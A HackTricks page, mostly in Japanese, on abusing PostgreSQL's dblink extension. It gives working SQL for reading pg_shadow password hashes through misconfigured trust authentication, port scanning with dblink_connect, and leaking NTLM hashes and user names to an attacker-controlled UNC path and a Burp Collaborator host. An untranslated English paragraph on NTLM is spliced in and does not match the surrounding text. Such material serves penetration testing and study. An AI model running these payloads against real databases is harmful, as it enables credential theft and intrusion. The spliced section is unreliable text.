☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
**PostgreSQL 9.1**以降、追加モジュールのインストールは簡単です。[登録された拡張機能(`dblink`など)](https://www.postgresql.org/docs/current/contrib.html)は、[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)を使用してインストールできます。 ```sql CREATE EXTENSION dblink; ``` 一度dblinkがロードされると、いくつかの興味深いトリックを実行することができるかもしれません。 ## 特権昇格 `pg_hba.conf`ファイルは、パスワードを知る必要なく、**localhostの任意のユーザー**からの**接続を許可する**ように誤って設定されている可能性があります。このファイルは通常、`/etc/postgresql/12/main/pg_hba.conf`にあり、誤った設定は次のようになります: ``` local all all trust ``` _この設定は、管理者がパスワードを忘れた場合に、dbユーザーのパスワードを変更するためによく使用されるため、時々見つけることができます。_\ _pg\_hba.confファイルはpostgresユーザーとグループによってのみ読み取り可能で、postgresユーザーによってのみ書き込み可能です。_ このケースは、**既に**被害者の中に**シェル**がある場合に**有用**です。これにより、postgresqlデータベースに接続することができます。 別の可能な設定ミスは、次のようなものです: ``` host all all 127.0.0.1/32 trust ``` ローカルホストからの誰でも任意のユーザーとしてデータベースに接続できるようになります。\ この場合、そして**`dblink`**関数が**動作している**場合、既に確立された接続を介してデータベースに接続し、アクセスできないはずのデータにアクセスすることで、特権を昇格させることができます。 ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres dbname=postgres', 'SELECT datname FROM pg_database') RETURNS (result TEXT); SELECT * FROM dblink('host=127.0.0.1 user=postgres dbname=postgres', 'select usename, passwd from pg_shadow') RETURNS (result1 TEXT, result2 TEXT); ``` **この攻撃に関する詳細情報は、[この論文](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)** **で見つけることができます**。 ## ポートスキャン `dblink_connect`を悪用することで、**オープンポートを検索**することもできます。もし**この関数が機能しない場合は、`dblink_connect_u()`を使用してみるべきです**。ドキュメントによれば、_`dblink_connect_u()`は`dblink_connect()`と同じですが、非スーパーユーザーも任意の認証方法を使用して接続できるようになります。_ ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 user=name password=secret dbname=abc connect_timeout=10'); //Different response // Port closed RROR: could not establish connection DETAIL: could not connect to server: Connection refused Is the server running on host "127.0.0.1" and accepting TCP/IP connections on port 4444? // Port Filtered/Timeout ERROR: could not establish connection DETAIL: timeout expired // Accessing HTTP server ERROR: could not establish connection DETAIL: timeout expired // Accessing HTTPS server ERROR: could not establish connection DETAIL: received invalid response to SSL negotiation: ``` 次に、`dblink_connect`または`dblink_connect_u`を使用する前に、次のコマンドを実行する必要がある場合があります。 ``` CREATE extension dblink; ``` ## UNCパス - NTLMハッシュの漏洩 When an attacker has access to a user's NTLM hash, they can use it to authenticate themselves as that user on other systems that use NTLM authentication. One way to obtain a user's NTLM hash is through the disclosure of UNC paths. UNC (Universal Naming Convention) paths are used to access shared resources on a network. They follow the format `\\server\share\file`. When a user accesses a file on a remote server using a UNC path, their NTLM hash is sent to the server for authentication. To exploit this, an attacker can set up a malicious server and create a file with a UNC path that points to their server. When the user accesses this file, their NTLM hash is sent to the attacker's server, allowing them to capture it. This technique can be used for privilege escalation, as the attacker can use the captured NTLM hash to authenticate themselves as the user on other systems. It is important to note that this technique requires the user to access the file with the UNC path, so social engineering or other methods may be necessary to trick the user into doing so. To protect against this type of attack, it is recommended to educate users about the risks of accessing files with UNC paths from untrusted sources. Additionally, implementing strong password policies and using multi-factor authentication can help mitigate the impact of NTLM hash disclosure. ```sql -- can be used to leak hashes to Responder/equivalent CREATE TABLE test(); COPY test FROM E'\\\\attacker-machine\\footestbar.txt'; ``` ```sql -- to extract the value of user and send it to Burp Collaborator CREATE TABLE test(retval text); CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$ DECLARE sqlstring TEXT; DECLARE userval TEXT; BEGIN SELECT INTO userval (SELECT user); sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\''; EXECUTE sqlstring; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT testfunc(); ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。